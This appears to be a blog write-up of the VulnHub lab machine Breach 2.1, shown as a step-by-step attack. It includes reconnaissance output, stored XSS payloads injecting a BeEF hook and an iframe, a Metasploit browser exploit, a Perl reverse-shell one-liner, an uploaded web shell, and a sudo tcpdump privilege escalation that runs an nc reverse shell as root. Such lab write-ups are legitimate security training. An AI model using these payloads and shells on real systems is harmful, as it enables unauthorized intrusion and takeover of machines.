by Oana Stoian
Breach: 2.1
Dear all, this day I will present you my way of exploiting the vulnerable machine-Breach 2.1. Many thanks to @mrb3n813 and @VulnHub.
For information gathering I will be using nmap:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
[root:~]# nmap -sV 192.168.110.151 -p- Starting Nmap 7.00 ( https://nmap.org ) at 2016-08-30 09:26 BST Nmap scan report for 192.168.110.151 Host is up, received arp-response (0.000048s latency). Not shown: 65532 closed ports Reason: 65532 resets PORT STATE SERVICE REASON VERSION 111/tcp open rpcbind syn-ack ttl 64 2-4 (RPC #100000) 56701/tcp open status syn-ack ttl 64 1 (RPC #100024) 65535/tcp open ssh syn-ack ttl 64 OpenSSH 6.7p1 Debian 5+deb8u2 (protocol 2.0) MAC Address: DE:AD:77:C5:4D:3F (Unknown) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.04 seconds |
The ssh port is opened : 65535, so let’s try to connect to it:
1 2 3 4 5 6 7 8 |
[root:~]# ssh root@192.168.110.151 -p65535 ############################################################################# # Welcome to Initech Cyber Consulting, LLC # # All connections are monitored and recorded # # Unauthorized access is encouraged # # Peter, if that's you - the password is in the source. # # Also, stop checking your blog all day and enjoy your vacation! # ############################################################################# |
A banner is displayed, and we find out about a possible user named Peter. Also a information that could be useful is that on the machine maybe a blog, even if there is no web port revealed.
We could try our luck with user Peter on ssh….but a big problem is the password. Is really hard to believe that the password is right behind your eyes: inthesource 🙂
I fired-up nmap one more time, and I get lucky….the port 80 is opened, running on an Apache server.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
peter@192.168.110.151's password: Connection to 192.168.110.151 closed. [root:~]# nmap -sV 192.168.110.151 -p- Starting Nmap 7.00 ( https://nmap.org ) at 2016-08-30 09:33 BST Nmap scan report for 192.168.110.151 Host is up, received arp-response (0.000039s latency). Not shown: 65531 closed ports Reason: 65531 resets PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.10 ((Debian)) 111/tcp open rpcbind syn-ack ttl 64 2-4 (RPC #100000) 56701/tcp open status syn-ack ttl 64 1 (RPC #100024) 65535/tcp open ssh syn-ack ttl 64 OpenSSH 6.7p1 Debian 5+deb8u2 (protocol 2.0) MAC Address: DE:AD:77:C5:4D:3F (Unknown) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.16 seconds |
The browser will display a photo. I’ve tried to search for more information, so I used Exiftool, but unfortunately no medata found. Next step was to look on the page source, and there I could read a message, that can be observed in the second print screen:
One of the hints for the web server is the blog. To be sure, I also used the dirb, to do the brute force .
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
[root:~]# dirb http://192.168.110.151/ ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Tue Aug 30 10:02:25 2016 URL_BASE: http://192.168.110.151/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.110.151/ ---- ==> DIRECTORY: http://192.168.110.151/blog/ ==> DIRECTORY: http://192.168.110.151/images/ + http://192.168.110.151/index.html (CODE:200|SIZE:468) + http://192.168.110.151/server-status (CODE:403|SIZE:303) |
Seems like an old PHP blog engine is running, so there are a lot of chances to find exploits/vulnerabilities.
Connecting all the information, like Peter is visiting the blog often, the picture on the main page of the web server mentioning Beef, I started to think for a client side exploit. Looking over exploit-db there are a lot of exploits for blogphp, including SQLi and persistent XSS.
I exploited the SQLi but the username is blank and the hash of the password will also lead to a blank charcter, so no important data here.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
[11:54:10] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian web application technology: Apache 2.4.10 back-end DBMS: MySQL 5.0.12 [11:54:10] [INFO] fetching columns for table 'blogphp_users' in database 'blog' [11:54:10] [INFO] fetching entries for table 'blogphp_users' in database 'blog' [11:54:10] [INFO] analyzing table dump for possible password hashes [11:54:10] [INFO] recognized possible password hashes in column 'password' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] n do you want to crack them via a dictionary-based attack? [Y/n/q] n Database: blog Table: blogphp_users [1 entry] +----+---------+---------+---------+---------+---------+---------+---------+---------+---------+---------+------------+------------+---------+---------+----------+----------------------------------+ | id | aim | msn | url | icq | name | bday | mlist | yahoo | gtalk | email | logged | date | avatar | level | username | password | +----+---------+---------+---------+---------+---------+---------+---------+---------+---------+---------+------------+------------+---------+---------+----------+----------------------------------+ | 1 | <blank> | <blank> | <blank> | <blank> | <blank> | <blank> | <blank> | <blank> | <blank> | <blank> | 1472213828 | 1472213828 | <blank> | Member | <blank> | d41d8cd98f00b204e9800998ecf8427e | +----+---------+---------+---------+---------+---------+---------+---------+---------+---------+---------+------------+------------+---------+---------+----------+----------------------------------+ |
Going further with a persistent XSS, I started with Beef framework and injected the XSS hook into register.html web form, in the username parameter.
1 |
<script type="text/javascript" src="http://192.168.110.2:3000/hook.js"></script> |
In short time a Firefox browser has connected to Beef giving us hope that indeed client side exploitation is the way to go.
To exploit this browser we’ll use the metasploit framework. After some tries and errors we decided to use firefox_tostring_console_injection exploit. Using again the persistent XSS from register.html webpage I injected an iframe that will point the Firefox browser to our metasploit web server.
1 |
<iframe src="http://192.168.110.2:8080/oana"></iframe> |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
msf exploit(firefox_tostring_console_injection) > exploit [*] Exploit running as background job. [*] Started reverse TCP handler on 192.168.110.2:4444 msf exploit(firefox_tostring_console_injection) > [*] Using URL: http://0.0.0.0:8080/oana [*] Local IP: http://172.16.100.50:8080/oana [*] Server started. [*] 192.168.110.151 firefox_tostring_console_injection - Gathering target information. [*] 192.168.110.151 firefox_tostring_console_injection - Sending HTML response. [*] 192.168.110.151 firefox_tostring_console_injection - Gathering target information. [*] 192.168.110.151 firefox_tostring_console_injection - Sending HTML response. [*] 192.168.110.151 firefox_tostring_console_injection - Gathering target information. [*] 192.168.110.151 firefox_tostring_console_injection - Sending HTML response. [*] Command shell session 1 opened (192.168.110.2:4444 -> 192.168.110.151:33219) at 2016-08-30 10:36:09 +0100 [*] 192.168.110.151 firefox_tostring_console_injection - Gathering target information. [*] 192.168.110.151 firefox_tostring_console_injection - Sending HTML response. [*] Command shell session 2 opened (192.168.110.2:4444 -> 192.168.110.151:33220) at 2016-08-30 10:36:10 +0100 [*] Command shell session 3 opened (192.168.110.2:4444 -> 192.168.110.151:33221) at 2016-08-30 10:36:11 +0100 <>;' |
In short time a shell is received and we can interact with the operating system.
We started a second shell because the metasploit one was being closed regularly by the server:
1 |
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"192.168.110.2:1234");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' |
Now, we are connected as user Peter and we can start our journey to get root. I did some enumeration, like what files are readable in other users folders, what services are running, kernel version, special permission files etc. but nothing popped-out. Then, by listing the network services that are running on the host, we observe that not only ssh (65535) and http (80) are running but also an unknown service is present on port 2323/localhost and mysql is listening also on localhost.
Trying a telnet on localhost 2323 will print some gps coordinates: 29 45’46” N 95 22’59” W
Looking for them on a browser it will indicate Houston/Texax :
Next, we are asked for login. After some tries with combinations of peter, milton and blumbergh users and Houston, we are able to login with milton/Houston credentials. Next, another challenge must be passed – we are asked „Whose stapler is it?” What would Milton respond? Of course, „mine” 🙂
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
telnet 127.0.0.1 2323 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. 29 45'46" N 95 22'59" W breach2 login: milton milton Password: Houston Last login: Mon Aug 29 06:11:41 EDT 2016 from localhost on pts/1 Linux breach2 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2 (2016-04-08) x86_64 29 45'46" N 95 22'59" W 3 2 1 Whose stapler is it?mine mine Woot! |
Now that we are logged in as milton, we are curious to take a look on his login/profile scripts, which certainly are executed when someone telnets on 2323 port.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
cat /home/milton/.profile # ~/.profile: executed by the command interpreter for login shells. # This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login # exists. # see /usr/share/doc/bash/examples/startup-files for examples. # the files are located in the bash-doc package. # the default umask is set in /etc/profile; for setting the umask # for ssh logins, install and configure the libpam-umask package. #umask 022 # if running bash if [ -n "$BASH_VERSION" ]; then # include .bashrc if it exists if [ -f "$HOME/.bashrc" ]; then . "$HOME/.bashrc" fi fi # set PATH so it includes user's private bin if it exists if [ -d "$HOME/bin" ] ; then PATH="$HOME/bin:$PATH" fi python /usr/local/bin/cd.py sudo /etc/init.d/nginx start &> /dev/null |
Here we find a script /usr/local/bin/cd.py that is responsable for asking the stapler question, and also we observe that a new web server (nginx) is started – so we can assume that we will find another port open – wich is 8888.
Here we have an oscommerce application ready to be broken.
Returning to our shell we also noticed that nginix is running as root user, so by exploiting the application we might obtain root privileges.
I suddenly remembered that we have a mysql running on the host, and I returned to the shell console and tried to connect to it.
1 2 3 4 5 6 7 8 9 10 11 12 |
mysql> show databases; show databases; +--------------------+ | Database | +--------------------+ | information_schema | | blog | | mysql | | oscommerce | | performance_schema | +--------------------+ 5 rows in set (0.02 sec) |
Now we can get out user accounts for oscommerce:
1 2 3 4 5 6 7 8 |
mysql> select * from osc_administrators; select * from osc_administrators; +----+-----------+-------------------------------------+ | id | user_name | user_password | +----+-----------+-------------------------------------+ | 1 | admin | 685cef95aa31989f2edae5e055ffd2c9:32 | +----+-----------+-------------------------------------+ 1 row in set (0.00 sec) |
Searching the hash on google will get us the „complicated” password wich is admin.
Now we can connect to the oscommerce administrative interface and search for a way to obtain a reverse shell:
Here we have a File Manager and it is just a matter of time to discover an writable folder where we will upload our shell:
This will get us a reverse shell, but we are not there yet…. the user is not root as we expected, is blumbergh:
1 2 3 4 5 6 7 8 9 10 11 |
[root:/var/www/html]# nc -l -v -p 3456 listening on [any] 3456 ... connect to [192.168.110.2] from breach2.local [192.168.110.151] 48919 Linux breach2 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2 (2016-04-08) x86_64 GNU/Linux 09:49:45 up 13 min, 1 user, load average: 0.00, 0.06, 0.05 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT milton pts/0 localhost 09:49 23.00s 0.04s 0.03s -bash uid=1001(blumbergh) gid=1001(blumbergh) groups=1001(blumbergh),1004(fin) /bin/sh: 0: can't access tty; job control turned off $ id uid=1001(blumbergh) gid=1001(blumbergh) groups=1001(blumbergh),1004(fin) |
As we already know various information of the machine – like running prcesses, special files, and so on and we do not need to do that one more time as blumbergh, we try to see what commands is blumbergh allowed to run through sudo and we discover that he can run tcpdump as root. Thinking that this might be it, I documented about tcpdump looking for some ways of executing arbitrary commands. The man page and previous experience were important and we got to the following syntax:
1 |
sudo tcpdump -i eth0 -Z root -z /tmp/breach -w /dev/null -W 1 -G 1 |
The /tmp/breach file should contain whatever command we would like to be executed as root, so we will put a classic nc reverse shell connection in it.
1 2 3 4 5 |
echo "nc -e /bin/sh 192.168.110.2 7777" > /tmp/breach chmod +x /tmp/breach sudo tcpdump -i eth0 -Z root -z /tmp/breach -w /dev/null -W 1 -G 1 |
Now we are finally root and we can get our precious flag:
9,236 total views, 20 views today
Nice write-up.